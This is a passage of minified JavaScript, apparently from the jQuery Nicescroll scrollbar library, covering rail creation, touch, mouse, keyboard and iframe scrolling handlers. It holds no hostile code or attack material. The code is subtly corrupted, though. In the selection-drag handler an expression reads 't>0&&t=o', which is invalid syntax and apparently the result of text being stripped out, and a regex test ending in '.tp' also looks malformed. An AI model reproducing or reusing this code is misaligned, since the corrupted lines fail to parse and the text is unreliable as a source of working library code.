m.timerscroll.bh.getNow()}return m.doc.translate.x},this.notifyScrollEvent=function(e){var o=l.createEvent("UIEvents");o.initUIEvent("scroll",!1,!1,a,1),o.niceevent=!0,e.dispatchEvent(o)};var M=this.isrtlmode?1:-1;T.hastranslate3d&&g.enabletranslate3d?(this.setScrollTop=function(e,o){m.doc.translate.y=e,m.doc.translate.ty=-1*e+"px",m.doc.css(T.trstyle,"translate3d("+m.doc.translate.tx+","+m.doc.translate.ty+",0)"),o||m.notifyScrollEvent(m.win[0])},this.setScrollLeft=function(e,o){m.doc.translate.x=e,m.doc.translate.tx=e*M+"px",m.doc.css(T.trstyle,"translate3d("+m.doc.translate.tx+","+m.doc.translate.ty+",0)"),o||m.notifyScrollEvent(m.win[0])}):(this.setScrollTop=function(e,o){m.doc.translate.y=e,m.doc.translate.ty=-1*e+"px",m.doc.css(T.trstyle,"translate("+m.doc.translate.tx+","+m.doc.translate.ty+")"),o||m.notifyScrollEvent(m.win[0])},this.setScrollLeft=function(e,o){m.doc.translate.x=e,m.doc.translate.tx=e*M+"px",m.doc.css(T.trstyle,"translate("+m.doc.translate.tx+","+m.doc.translate.ty+")"),o||m.notifyScrollEvent(m.win[0])})}else this.getScrollTop=function(){return m.docscroll.scrollTop()},this.setScrollTop=function(e){m.docscroll.scrollTop(e)},this.getScrollLeft=function(){return m.hasreversehr?m.detected.ismozilla?m.page.maxw-Math.abs(m.docscroll.scrollLeft()):m.page.maxw-m.docscroll.scrollLeft():m.docscroll.scrollLeft()},this.setScrollLeft=function(e){return setTimeout(function(){if(m)return m.hasreversehr&&(e=m.detected.ismozilla?-(m.page.maxw-e):m.page.maxw-e),m.docscroll.scrollLeft(e)},1)};this.getTarget=function(e){return!!e&&(e.target?e.target:!!e.srcElement&&e.srcElement)},this.hasParent=function(e,o){if(!e)return!1;for(var t=e.target||e.srcElement||e||!1;t&&t.id!=o;)t=t.parentNode||!1;return!1!==t};var C={thin:1,medium:3,thick:5};function P(e,o,t){var r=e.css(o),i=parseFloat(r);if(isNaN(i)){var s=3==(i=C[r]||0)?t?m.win.outerHeight()-m.win.innerHeight():m.win.outerWidth()-m.win.innerWidth():1;return m.isie8&&i&&(i+=1),s?i:0}return i}this.getDocumentScrollOffset=function(){return{top:a.pageYOffset||l.documentElement.scrollTop,left:a.pageXOffset||l.documentElement.scrollLeft}},this.getOffset=function(){if(m.isfixed){var e=m.win.offset(),o=m.getDocumentScrollOffset();return e.top-=o.top,e.left-=o.left,e}var t=m.win.offset();if(!m.viewport)return t;var r=m.viewport.offset();return{top:t.top-r.top,left:t.left-r.left}},this.updateScrollBar=function(e){var o,t;if(m.ishwscroll)m.rail.css({height:m.win.innerHeight()-(g.railpadding.top+g.railpadding.bottom)}),m.railh&&m.railh.css({width:m.win.innerWidth()-(g.railpadding.left+g.railpadding.right)});else{var r=m.getOffset();if((o={top:r.top,left:r.left-(g.railpadding.left+g.railpadding.right)}).top+=P(m.win,"border-top-width",!0),o.left+=m.rail.align?m.win.outerWidth()-P(m.win,"border-right-width")-m.rail.width:P(m.win,"border-left-width"),(t=g.railoffset)&&(t.top&&(o.top+=t.top),t.left&&(o.left+=t.left)),m.railslocked||m.rail.css({top:o.top,left:o.left,height:(e?e.h:m.win.innerHeight())-(g.railpadding.top+g.railpadding.bottom)}),m.zoom&&m.zoom.css({top:o.top+1,left:1==m.rail.align?o.left-20:o.left+m.rail.width+4}),m.railh&&!m.railslocked){o={top:r.top,left:r.left},(t=g.railhoffset)&&(t.top&&(o.top+=t.top),t.left&&(o.left+=t.left));var i=m.railh.align?o.top+P(m.win,"border-top-width",!0)+m.win.innerHeight()-m.railh.height:o.top+P(m.win,"border-top-width",!0),s=o.left+P(m.win,"border-left-width");m.railh.css({top:i-(g.railpadding.top+g.railpadding.bottom),left:s,width:m.railh.width})}}},this.doRailClick=function(e,o,t){var r,i,s,n;m.railslocked||(m.cancelEvent(e),"pageY"in e||(e.pageX=e.clientX+l.documentElement.scrollLeft,e.pageY=e.clientY+l.documentElement.scrollTop),o?(r=t?m.doScrollLeft:m.doScrollTop,s=t?(e.pageX-m.railh.offset().left-m.cursorwidth/2)*m.scrollratio.x:(e.pageY-m.rail.offset().top-m.cursorheight/2)*m.scrollratio.y,m.unsynched("relativexy"),r(0|s)):(r=t?m.doScrollLeftBy:m.doScrollBy,s=t?m.scroll.x:m.scroll.y,n=t?e.pageX-m.railh.offset().left:e.pageY-m.rail.offset().top,i=t?m.view.w:m.view.h,r(s>=n?i:-i)))},m.newscrolly=m.newscrollx=0,m.hasanimationframe="requestAnimationFrame"in a,m.hascancelanimationframe="cancelAnimationFrame"in a,m.hasborderbox=!1,this.init=function(){if(m.saved.css=[],T.isoperamini)return!0;if(T.isandroid&&!("hidden"in l))return!0;g.emulatetouch=g.emulatetouch||g.touchbehavior,m.hasborderbox=a.getComputedStyle&&"border-box"===a.getComputedStyle(l.body)["box-sizing"];var e={"overflow-y":"hidden"};if((T.isie11||T.isie10)&&(e["-ms-overflow-style"]="none"),m.ishwscroll&&(this.doc.css(T.transitionstyle,T.prefixstyle+"transform 0ms ease-out"),T.transitionend&&m.bind(m.doc,T.transitionend,m.onScrollTransitionEnd,!1)),m.zindex="auto",m.ispage||"auto"!=g.zindex?m.zindex=g.zindex:m.zindex=function(){var e=m.win;if("zIndex"in e)return e.zIndex();for(;e.length>0;){if(9==e[0].nodeType)return!1;var o=e.css("zIndex");if(!isNaN(o)&&0!==o)return parseInt(o);e=e.parent()}return!1}()||"auto",!m.ispage&&"auto"!=m.zindex&&m.zindex>s&&(s=m.zindex),m.isie&&0===m.zindex&&"auto"==g.zindex&&(m.zindex="auto"),!m.ispage||!T.isieold){var i=m.docscroll;m.ispage&&(i=m.haswrapper?m.win:m.doc),m.css(i,e),m.ispage&&(T.isie11||T.isie)&&m.css(n("html"),e),!T.isios||m.ispage||m.haswrapper||m.css(f,{"-webkit-overflow-scrolling":"touch"});var d=n(l.createElement("div"));d.css({position:"relative",top:0,float:"right",width:g.cursorwidth,height:0,"background-color":g.cursorcolor,border:g.cursorborder,"background-clip":"padding-box","-webkit-border-radius":g.cursorborderradius,"-moz-border-radius":g.cursorborderradius,"border-radius":g.cursorborderradius}),d.addClass("nicescroll-cursors"),m.cursor=d;var u=n(l.createElement("div"));u.attr("id",m.id),u.addClass("nicescroll-rails nicescroll-rails-vr"),g.scrollCLass&&u.addClass(g.scrollCLass);var h,p,w=["left","right","top","bottom"];for(var b in w)p=w[b],(h=g.railpadding[p]||0)&&u.css("padding-"+p,h+"px");u.append(d),u.width=Math.max(parseFloat(g.cursorwidth),d.outerWidth()),u.css({width:u.width+"px",zIndex:m.zindex,background:g.background,cursor:"default"}),u.visibility=!0,u.scrollable=!0,u.align="left"==g.railalign?0:1,m.rail=u,m.rail.drag=!1;var y,x=!1;if(!g.boxzoom||m.ispage||T.isieold||(x=l.createElement("div"),m.bind(x,"click",m.doZoom),m.bind(x,"mouseenter",function(){m.zoom.css("opacity",g.cursoropacitymax)}),m.bind(x,"mouseleave",function(){m.zoom.css("opacity",g.cursoropacitymin)}),m.zoom=n(x),m.zoom.css({cursor:"pointer",zIndex:m.zindex,backgroundImage:"url("+g.scriptpath+"zoomico.png)",height:18,width:18,backgroundPosition:"0 0"}),g.dblclickzoom&&m.bind(m.win,"dblclick",m.doZoom),T.cantouch&&g.gesturezoom&&(m.ongesturezoom=function(e){return e.scale>1.5&&m.doZoomIn(e),e.scale<.8&&m.doZoomOut(e),m.cancelEvent(e)},m.bind(m.win,"gestureend",m.ongesturezoom))),m.railh=!1,g.horizrailenabled&&(m.css(i,{overflowX:"hidden"}),(d=n(l.createElement("div"))).css({position:"absolute",top:0,height:g.cursorwidth,width:0,backgroundColor:g.cursorcolor,border:g.cursorborder,backgroundClip:"padding-box","-webkit-border-radius":g.cursorborderradius,"-moz-border-radius":g.cursorborderradius,"border-radius":g.cursorborderradius}),T.isieold&&d.css("overflow","hidden"),d.addClass("nicescroll-cursors"),m.cursorh=d,(y=n(l.createElement("div"))).attr("id",m.id+"-hr"),y.addClass("nicescroll-rails nicescroll-rails-hr"),g.scrollCLass&&y.addClass(g.scrollCLass),y.height=Math.max(parseFloat(g.cursorwidth),d.outerHeight()),y.css({height:y.height+"px",zIndex:m.zindex,background:g.background}),y.append(d),y.visibility=!0,y.scrollable=!0,y.align="top"==g.railvalign?0:1,m.railh=y,m.railh.drag=!1),m.ispage)u.css({position:"fixed",top:0,height:"100%"}),u.css(u.align?{right:0}:{left:0}),m.body.append(u),m.railh&&(y.css({position:"fixed",left:0,width:"100%"}),y.css(y.align?{bottom:0}:{top:0}),m.body.append(y));else{if(m.ishwscroll){"static"==m.win.css("position")&&m.css(m.win,{position:"relative"});var z="HTML"==m.win[0].nodeName?m.body:m.win;n(z).scrollTop(0).scrollLeft(0),m.zoom&&(m.zoom.css({position:"absolute",top:1,right:0,"margin-right":u.width+4}),z.append(m.zoom)),u.css({position:"absolute",top:0}),u.css(u.align?{right:0}:{left:0}),z.append(u),y&&(y.css({position:"absolute",left:0,bottom:0}),y.css(y.align?{bottom:0}:{top:0}),z.append(y))}else{m.isfixed="fixed"==m.win.css("position");var k=m.isfixed?"fixed":"absolute";m.isfixed||(m.viewport=m.getViewport(m.win[0])),m.viewport&&(m.body=m.viewport,/fixed|absolute/.test(m.viewport.css("position"))||m.css(m.viewport,{position:"relative"})),u.css({position:k}),m.zoom&&m.zoom.css({position:k}),m.updateScrollBar(),m.body.append(u),m.zoom&&m.body.append(m.zoom),m.railh&&(y.css({position:k}),m.body.append(y))}T.isios&&m.css(m.win,{"-webkit-tap-highlight-color":"rgba(0,0,0,0)","-webkit-touch-callout":"none"}),g.disableoutline&&(T.isie&&m.win.attr("hideFocus","true"),T.iswebkit&&m.win.css("outline","none"))}if(!1===g.autohidemode?(m.autohidedom=!1,m.rail.css({opacity:g.cursoropacitymax}),m.railh&&m.railh.css({opacity:g.cursoropacitymax})):!0===g.autohidemode||"leave"===g.autohidemode?(m.autohidedom=n().add(m.rail),T.isie8&&(m.autohidedom=m.autohidedom.add(m.cursor)),m.railh&&(m.autohidedom=m.autohidedom.add(m.railh)),m.railh&&T.isie8&&(m.autohidedom=m.autohidedom.add(m.cursorh))):"scroll"==g.autohidemode?(m.autohidedom=n().add(m.rail),m.railh&&(m.autohidedom=m.autohidedom.add(m.railh))):"cursor"==g.autohidemode?(m.autohidedom=n().add(m.cursor),m.railh&&(m.autohidedom=m.autohidedom.add(m.cursorh))):"hidden"==g.autohidemode&&(m.autohidedom=!1,m.hide(),m.railslocked=!1),T.cantouch||m.istouchcapable||g.emulatetouch||T.hasmstouch){m.scrollmom=new S(m);m.ontouchstart=function(e){if(m.locked)return!1;if(e.pointerType&&("mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))return!1;if(m.hasmoving=!1,m.scrollmom.timer&&(m.triggerScrollEnd(),m.scrollmom.stop()),!m.railslocked){var o=m.getTarget(e);if(o)if(/INPUT/i.test(o.nodeName)&&/range/i.test(o.type))return m.stopPropagation(e);var t="mousedown"===e.type;if(!("clientX"in e)&&"changedTouches"in e&&(e.clientX=e.changedTouches[0].clientX,e.clientY=e.changedTouches[0].clientY),m.forcescreen){var r=e;(e={original:e.original?e.original:e}).clientX=r.screenX,e.clientY=r.screenY}if(m.rail.drag={x:e.clientX,y:e.clientY,sx:m.scroll.x,sy:m.scroll.y,st:m.getScrollTop(),sl:m.getScrollLeft(),pt:2,dl:!1,tg:o},m.ispage||!g.directionlockdeadzone)m.rail.drag.dl="f";else{var i={w:c.width(),h:c.height()},s=m.getContentSize(),l=s.h-i.h,a=s.w-i.w;m.rail.scrollable&&!m.railh.scrollable?m.rail.drag.ck=l>0&&"v":!m.rail.scrollable&&m.railh.scrollable?m.rail.drag.ck=a>0&&"h":m.rail.drag.ck=!1}if(g.emulatetouch&&m.isiframe&&T.isie){var d=m.win.position();m.rail.drag.x+=d.left,m.rail.drag.y+=d.top}if(m.hasmoving=!1,m.lastmouseup=!1,m.scrollmom.reset(e.clientX,e.clientY),o&&t){if(!/INPUT|SELECT|BUTTON|TEXTAREA/i.test(o.nodeName))return T.hasmousecapture&&o.setCapture(),g.emulatetouch?(o.onclick&&!o._onclick&&(o._onclick=o.onclick,o.onclick=function(e){if(m.hasmoving)return!1;o._onclick.call(this,e)}),m.cancelEvent(e)):m.stopPropagation(e);/SUBMIT|CANCEL|BUTTON/i.test(n(o).attr("type"))&&(m.preventclick={tg:o,click:!1})}}},m.ontouchend=function(e){if(!m.rail.drag)return!0;if(2==m.rail.drag.pt){if(e.pointerType&&("mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))return!1;m.rail.drag=!1;var o="mouseup"===e.type;if(m.hasmoving&&(m.scrollmom.doMomentum(),m.lastmouseup=!0,m.hideCursor(),T.hasmousecapture&&l.releaseCapture(),o))return m.cancelEvent(e)}else if(1==m.rail.drag.pt)return m.onmouseup(e)};var E=g.emulatetouch&&m.isiframe&&!T.hasmousecapture,L=.3*g.directionlockdeadzone|0;m.ontouchmove=function(e,o){if(!m.rail.drag)return!0;if(e.targetTouches&&g.preventmultitouchscrolling&&e.targetTouches.length>1)return!0;if(e.pointerType&&("mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))return!0;if(2==m.rail.drag.pt){var t,r;if("changedTouches"in e&&(e.clientX=e.changedTouches[0].clientX,e.clientY=e.changedTouches[0].clientY),r=t=0,E&&!o){var i=m.win.position();r=-i.left,t=-i.top}var s=e.clientY+t,n=s-m.rail.drag.y,a=e.clientX+r,c=a-m.rail.drag.x,d=m.rail.drag.st-n;if(m.ishwscroll&&g.bouncescroll)d<0?d=Math.round(d/2):d>m.page.maxh&&(d=m.page.maxh+Math.round((d-m.page.maxh)/2));else if(d<0?(d=0,s=0):d>m.page.maxh&&(d=m.page.maxh,s=0),0===s&&!m.hasmoving)return m.ispage||(m.rail.drag=!1),!0;var u=m.getScrollLeft();if(m.railh&&m.railh.scrollable&&(u=m.isrtlmode?c-m.rail.drag.sl:m.rail.drag.sl-c,m.ishwscroll&&g.bouncescroll?u<0?u=Math.round(u/2):u>m.page.maxw&&(u=m.page.maxw+Math.round((u-m.page.maxw)/2)):(u<0&&(u=0,a=0),u>m.page.maxw&&(u=m.page.maxw,a=0))),!m.hasmoving){if(m.rail.drag.y===e.clientY&&m.rail.drag.x===e.clientX)return m.cancelEvent(e);var h=Math.abs(n),p=Math.abs(c),f=g.directionlockdeadzone;if(m.rail.drag.ck?"v"==m.rail.drag.ck?p>f&&h<=L?m.rail.drag=!1:h>f&&(m.rail.drag.dl="v"):"h"==m.rail.drag.ck&&(h>f&&p<=L?m.rail.drag=!1:p>f&&(m.rail.drag.dl="h")):h>f&&p>f?m.rail.drag.dl="f":h>f?m.rail.drag.dl=p>L?"f":"v":p>f&&(m.rail.drag.dl=h>L?"f":"h"),!m.rail.drag.dl)return m.cancelEvent(e);m.triggerScrollStart(e.clientX,e.clientY,0,0,0),m.hasmoving=!0}return m.preventclick&&!m.preventclick.click&&(m.preventclick.click=m.preventclick.tg.onclick||!1,m.preventclick.tg.onclick=m.onpreventclick),m.rail.drag.dl&&("v"==m.rail.drag.dl?u=m.rail.drag.sl:"h"==m.rail.drag.dl&&(d=m.rail.drag.st)),m.synched("touchmove",function(){m.rail.drag&&2==m.rail.drag.pt&&(m.prepareTransition&&m.resetTransition(),m.rail.scrollable&&m.setScrollTop(d),m.scrollmom.update(a,s),m.railh&&m.railh.scrollable?(m.setScrollLeft(u),m.showCursor(d,u)):m.showCursor(d),T.isie10&&l.selection.clear())}),m.cancelEvent(e)}return 1==m.rail.drag.pt?m.onmousemove(e):void 0},m.ontouchstartCursor=function(e,o){if(!m.rail.drag||3==m.rail.drag.pt){if(m.locked)return m.cancelEvent(e);m.cancelScroll(),m.rail.drag={x:e.touches[0].clientX,y:e.touches[0].clientY,sx:m.scroll.x,sy:m.scroll.y,pt:3,hr:!!o};var t=m.getTarget(e);return!m.ispage&&T.hasmousecapture&&t.setCapture(),m.isiframe&&!T.hasmousecapture&&(m.saved.csspointerevents=m.doc.css("pointer-events"),m.css(m.doc,{"pointer-events":"none"})),m.cancelEvent(e)}},m.ontouchendCursor=function(e){if(m.rail.drag){if(T.hasmousecapture&&l.releaseCapture(),m.isiframe&&!T.hasmousecapture&&m.doc.css("pointer-events",m.saved.csspointerevents),3!=m.rail.drag.pt)return;return m.rail.drag=!1,m.cancelEvent(e)}},m.ontouchmoveCursor=function(e){if(m.rail.drag){if(3!=m.rail.drag.pt)return;if(m.cursorfreezed=!0,m.rail.drag.hr){m.scroll.x=m.rail.drag.sx+(e.touches[0].clientX-m.rail.drag.x),m.scroll.x<0&&(m.scroll.x=0);var o=m.scrollvaluemaxw;m.scroll.x>o&&(m.scroll.x=o)}else{m.scroll.y=m.rail.drag.sy+(e.touches[0].clientY-m.rail.drag.y),m.scroll.y<0&&(m.scroll.y=0);var t=m.scrollvaluemax;m.scroll.y>t&&(m.scroll.y=t)}return m.synched("touchmove",function(){m.rail.drag&&3==m.rail.drag.pt&&(m.showCursor(),m.rail.drag.hr?m.doScrollLeft(Math.round(m.scroll.x*m.scrollratio.x),g.cursordragspeed):m.doScrollTop(Math.round(m.scroll.y*m.scrollratio.y),g.cursordragspeed))}),m.cancelEvent(e)}}}if(m.onmousedown=function(e,o){if(!m.rail.drag||1==m.rail.drag.pt){if(m.railslocked)return m.cancelEvent(e);m.cancelScroll(),m.rail.drag={x:e.clientX,y:e.clientY,sx:m.scroll.x,sy:m.scroll.y,pt:1,hr:o||!1};var t=m.getTarget(e);return T.hasmousecapture&&t.setCapture(),m.isiframe&&!T.hasmousecapture&&(m.saved.csspointerevents=m.doc.css("pointer-events"),m.css(m.doc,{"pointer-events":"none"})),m.hasmoving=!1,m.cancelEvent(e)}},m.onmouseup=function(e){if(m.rail.drag)return 1!=m.rail.drag.pt||(T.hasmousecapture&&l.releaseCapture(),m.isiframe&&!T.hasmousecapture&&m.doc.css("pointer-events",m.saved.csspointerevents),m.rail.drag=!1,m.cursorfreezed=!1,m.hasmoving&&m.triggerScrollEnd(),m.cancelEvent(e))},m.onmousemove=function(e){if(m.rail.drag){if(1!==m.rail.drag.pt)return;if(T.ischrome&&0===e.which)return m.onmouseup(e);if(m.cursorfreezed=!0,m.hasmoving||m.triggerScrollStart(e.clientX,e.clientY,0,0,0),m.hasmoving=!0,m.rail.drag.hr){m.scroll.x=m.rail.drag.sx+(e.clientX-m.rail.drag.x),m.scroll.x<0&&(m.scroll.x=0);var o=m.scrollvaluemaxw;m.scroll.x>o&&(m.scroll.x=o)}else{m.scroll.y=m.rail.drag.sy+(e.clientY-m.rail.drag.y),m.scroll.y<0&&(m.scroll.y=0);var t=m.scrollvaluemax;m.scroll.y>t&&(m.scroll.y=t)}return m.synched("mousemove",function(){m.cursorfreezed&&(m.showCursor(),m.rail.drag.hr?m.scrollLeft(Math.round(m.scroll.x*m.scrollratio.x)):m.scrollTop(Math.round(m.scroll.y*m.scrollratio.y)))}),m.cancelEvent(e)}m.checkarea=0},T.cantouch||g.emulatetouch)m.onpreventclick=function(e){if(m.preventclick)return m.preventclick.tg.onclick=m.preventclick.click,m.preventclick=!1,m.cancelEvent(e)},m.onclick=!T.isios&&function(e){return!m.lastmouseup||(m.lastmouseup=!1,m.cancelEvent(e))},g.grabcursorenabled&&T.cursorgrabvalue&&(m.css(m.ispage?m.doc:m.win,{cursor:T.cursorgrabvalue}),m.css(m.rail,{cursor:T.cursorgrabvalue}));else{var M=function(e){if(m.selectiondrag){if(e){var o=m.win.outerHeight(),t=e.pageY-m.selectiondrag.top;t>0&&t=o&&(t-=o),m.selectiondrag.df=t}if(0!==m.selectiondrag.df){var r=-2*m.selectiondrag.df/6|0;m.doScrollBy(r),m.debounced("doselectionscroll",function(){M()},50)}}};m.hasTextSelected="getSelection"in l?function(){return l.getSelection().rangeCount>0}:"selection"in l?function(){return"None"!=l.selection.type}:function(){return!1},m.onselectionstart=function(e){m.ispage||(m.selectiondrag=m.win.offset())},m.onselectionend=function(e){m.selectiondrag=!1},m.onselectiondrag=function(e){m.selectiondrag&&m.hasTextSelected()&&m.debounced("selectionscroll",function(){M(e)},250)}}if(T.hasw3ctouch?(m.css(m.ispage?n("html"):m.win,{"touch-action":"none"}),m.css(m.rail,{"touch-action":"none"}),m.css(m.cursor,{"touch-action":"none"}),m.bind(m.win,"pointerdown",m.ontouchstart),m.bind(l,"pointerup",m.ontouchend),m.delegate(l,"pointermove",m.ontouchmove)):T.hasmstouch?(m.css(m.ispage?n("html"):m.win,{"-ms-touch-action":"none"}),m.css(m.rail,{"-ms-touch-action":"none"}),m.css(m.cursor,{"-ms-touch-action":"none"}),m.bind(m.win,"MSPointerDown",m.ontouchstart),m.bind(l,"MSPointerUp",m.ontouchend),m.delegate(l,"MSPointerMove",m.ontouchmove),m.bind(m.cursor,"MSGestureHold",function(e){e.preventDefault()}),m.bind(m.cursor,"contextmenu",function(e){e.preventDefault()})):T.cantouch&&(m.bind(m.win,"touchstart",m.ontouchstart,!1,!0),m.bind(l,"touchend",m.ontouchend,!1,!0),m.bind(l,"touchcancel",m.ontouchend,!1,!0),m.delegate(l,"touchmove",m.ontouchmove,!1,!0)),g.emulatetouch&&(m.bind(m.win,"mousedown",m.ontouchstart,!1,!0),m.bind(l,"mouseup",m.ontouchend,!1,!0),m.bind(l,"mousemove",m.ontouchmove,!1,!0)),(g.cursordragontouch||!T.cantouch&&!g.emulatetouch)&&(m.rail.css({cursor:"default"}),m.railh&&m.railh.css({cursor:"default"}),m.jqbind(m.rail,"mouseenter",function(){if(!m.ispage&&!m.win.is(":visible"))return!1;m.canshowonmouseevent&&m.showCursor(),m.rail.active=!0}),m.jqbind(m.rail,"mouseleave",function(){m.rail.active=!1,m.rail.drag||m.hideCursor()}),g.sensitiverail&&(m.bind(m.rail,"click",function(e){m.doRailClick(e,!1,!1)}),m.bind(m.rail,"dblclick",function(e){m.doRailClick(e,!0,!1)}),m.bind(m.cursor,"click",function(e){m.cancelEvent(e)}),m.bind(m.cursor,"dblclick",function(e){m.cancelEvent(e)})),m.railh&&(m.jqbind(m.railh,"mouseenter",function(){if(!m.ispage&&!m.win.is(":visible"))return!1;m.canshowonmouseevent&&m.showCursor(),m.rail.active=!0}),m.jqbind(m.railh,"mouseleave",function(){m.rail.active=!1,m.rail.drag||m.hideCursor()}),g.sensitiverail&&(m.bind(m.railh,"click",function(e){m.doRailClick(e,!1,!0)}),m.bind(m.railh,"dblclick",function(e){m.doRailClick(e,!0,!0)}),m.bind(m.cursorh,"click",function(e){m.cancelEvent(e)}),m.bind(m.cursorh,"dblclick",function(e){m.cancelEvent(e)})))),g.cursordragontouch&&(this.istouchcapable||T.cantouch)&&(m.bind(m.cursor,"touchstart",m.ontouchstartCursor),m.bind(m.cursor,"touchmove",m.ontouchmoveCursor),m.bind(m.cursor,"touchend",m.ontouchendCursor),m.cursorh&&m.bind(m.cursorh,"touchstart",function(e){m.ontouchstartCursor(e,!0)}),m.cursorh&&m.bind(m.cursorh,"touchmove",m.ontouchmoveCursor),m.cursorh&&m.bind(m.cursorh,"touchend",m.ontouchendCursor)),g.emulatetouch||T.isandroid||T.isios?(m.bind(T.hasmousecapture?m.win:l,"mouseup",m.ontouchend),m.onclick&&m.bind(l,"click",m.onclick),g.cursordragontouch?(m.bind(m.cursor,"mousedown",m.onmousedown),m.bind(m.cursor,"mouseup",m.onmouseup),m.cursorh&&m.bind(m.cursorh,"mousedown",function(e){m.onmousedown(e,!0)}),m.cursorh&&m.bind(m.cursorh,"mouseup",m.onmouseup)):(m.bind(m.rail,"mousedown",function(e){e.preventDefault()}),m.railh&&m.bind(m.railh,"mousedown",function(e){e.preventDefault()}))):(m.bind(T.hasmousecapture?m.win:l,"mouseup",m.onmouseup),m.bind(l,"mousemove",m.onmousemove),m.onclick&&m.bind(l,"click",m.onclick),m.bind(m.cursor,"mousedown",m.onmousedown),m.bind(m.cursor,"mouseup",m.onmouseup),m.railh&&(m.bind(m.cursorh,"mousedown",function(e){m.onmousedown(e,!0)}),m.bind(m.cursorh,"mouseup",m.onmouseup)),!m.ispage&&g.enablescrollonselection&&(m.bind(m.win[0],"mousedown",m.onselectionstart),m.bind(l,"mouseup",m.onselectionend),m.bind(m.cursor,"mouseup",m.onselectionend),m.cursorh&&m.bind(m.cursorh,"mouseup",m.onselectionend),m.bind(l,"mousemove",m.onselectiondrag)),m.zoom&&(m.jqbind(m.zoom,"mouseenter",function(){m.canshowonmouseevent&&m.showCursor(),m.rail.active=!0}),m.jqbind(m.zoom,"mouseleave",function(){m.rail.active=!1,m.rail.drag||m.hideCursor()}))),g.enablemousewheel&&(m.isiframe||m.mousewheel(T.isie&&m.ispage?l:m.win,m.onmousewheel),m.mousewheel(m.rail,m.onmousewheel),m.railh&&m.mousewheel(m.railh,m.onmousewheelhr)),m.ispage||T.cantouch||/HTML|^BODY/.test(m.win[0].nodeName)||(m.win.attr("tabindex")||m.win.attr({tabindex:++r}),m.bind(m.win,"focus",function(e){o=m.getTarget(e).id||m.getTarget(e)||!1,m.hasfocus=!0,m.canshowonmouseevent&&m.noticeCursor()}),m.bind(m.win,"blur",function(e){o=!1,m.hasfocus=!1}),m.bind(m.win,"mouseenter",function(e){t=m.getTarget(e).id||m.getTarget(e)||!1,m.hasmousefocus=!0,m.canshowonmouseevent&&m.noticeCursor()}),m.bind(m.win,"mouseleave",function(e){t=!1,m.hasmousefocus=!1,m.rail.drag||m.hideCursor()})),m.onkeypress=function(e){if(m.railslocked&&0===m.page.maxh)return!0;e=e||a.event;var r=m.getTarget(e);if(r&&/INPUT|TEXTAREA|SELECT|OPTION/.test(r.nodeName)&&(!(r.getAttribute("type")||r.type||!1)||!/submit|button|cancel/i.tp))return!0;if(n(r).attr("contenteditable"))return!0;if(m.hasfocus||m.hasmousefocus&&!o||m.ispage&&!o&&!t){var i=e.keyCode;if(m.railslocked&&27!=i)return m.cancelEvent(e);var s=e.ctrlKey||!1,l=e.shiftKey||!1,c=!1;switch(i){case 38:case 63233:m.doScrollBy(72),c=!0;break;case 40:case 63235:m.doScrollBy(-72),c=!0;break;case 37:case 63232:m.railh&&(s?m.doScrollLeft(0):m.doScrollLeftBy(72),c=!0);break;case 39:case 63234:m.railh&&(s?m.doScrollLeft(m.page.maxw):m.doScrollLeftBy(-72),c=!0);break;case 33:case 63276:m.doScrollBy(m.view.h),c=!0;break;case 34:case 63277:m.doScrollBy(-m.view.h),c=!0;break;case 36:case 63273:m.railh&&s?m.doScrollPos(0,0):m.doScrollTo(0),c=!0;break;case 35:case 63275:m.railh&&s?m.doScrollPos(m.page.maxw,m.page.maxh):m.doScrollTo(m.page.maxh),c=!0;break;case 32:g.spacebarenabled&&(l?m.doScrollBy(m.view.h):m.doScrollBy(-m.view.h),c=!0);break;case 27:m.zoomactive&&(m.doZoom(),c=!0)}if(c)return m.cancelEvent(e)}},g.enablekeyboard&&m.bind(l,T.isopera&&!T.isopera12?"keypress":"keydown",m.onkeypress),m.bind(l,"keydown",function(e){(e.ctrlKey||!1)&&(m.wheelprevented=!0)}),m.bind(l,"keyup",function(e){e.ctrlKey||!1||(m.wheelprevented=!1)}),m.bind(a,"blur",function(e){m.wheelprevented=!1}),m.bind(a,"resize",m.onscreenresize),m.bind(a,"orientationchange",m.onscreenresize),m.bind(a,"load",m.lazyResize),T.ischrome&&!m.ispage&&!m.haswrapper){var C=m.win.attr("style"),P=parseFloat(m.win.css("width"))+1;m.win.css("width",P),m.synched("chromefix",function(){m.win.attr("style",C)})}if(m.onAttributeChange=function(e){m.lazyResize(m.isieold?250:30)},g.enableobserver&&(m.isie11||!1===v||(m.observerbody=new v(function(e){if(e.forEach(function(e){if("attributes"==e.type)return f.hasClass("modal-open")&&f.hasClass("modal-dialog")&&!n.contains(n(".modal-dialog")[0],m.doc[0])?m.hide():m.show()}),m.me.clientWidth!=m.page.width||m.me.clientHeight!=m.page.height)return m.lazyResize(30)}),m.observerbody.observe(l.body,{childList:!0,subtree:!0,characterData:!1,attributes:!0,attributeFilter:["class"]})),!m.ispage&&!m.haswrapper)){var N=m.win[0];!1!==v?(m.observer=new v(function(e){e.forEach(m.onAttributeChange)}),m.observer.observe(N,{childList:!0,characterData:!1,attributes:!0,subtree:!1}),m.observerremover=new v(function(e){e.forEach(function(e){if(e.removedNodes.length>0)for(var o in e.removedNodes)if(m&&e.removedNodes[o]===N)return m.remove()})}),m.observerremover.observe(N.parentNode,{childList:!0,characterData:!1,attributes:!1,subtree:!1})):(m.bind(N,T.isie&&!T.isie9?"propertychange":"DOMAttrModified",m.onAttributeChange),T.isie9&&N.attachEvent("onpropertychange",m.onAttributeChange),m.bind(N,"DOMNodeRemoved",function(e){e.target===N&&m.remove()}))}!m.ispage&&g.boxzoom&&m.bind(a,"resize",m.resizeZoom),m.istextarea&&(m.bind(m.win,"keydown",m.lazyResize),m.bind(m.win,"mouseup",m.lazyResize)),m.lazyResize(30)}if("IFRAME"==this.doc[0].nodeName){var R=function(){var o;m.iframexd=!1;try{(o="contentDocument"in this?this.contentDocument:this.contentWindow._doc).domain}catch(e){m.iframexd=!0,o=!1}if(m.iframexd)return!0;if(m.forcescreen=!0,m.isiframe&&(m.iframe={doc:n(o),html:m.doc.contents().find("html")[0],body:m.doc.contents().find("body")[0]},m.getContentSize=function(){return{w:Math.max(m.iframe.html.scrollWidth,m.iframe.body.scrollWidth),h:Math.max(m.iframe.html.scrollHeight,m.iframe.body.scrollHeight)}},m.docscroll=n(m.iframe.body)),!T.isios&&g.iframeautoresize&&!m.isiframe){m.win.scrollTop(0),m.doc.height("");var 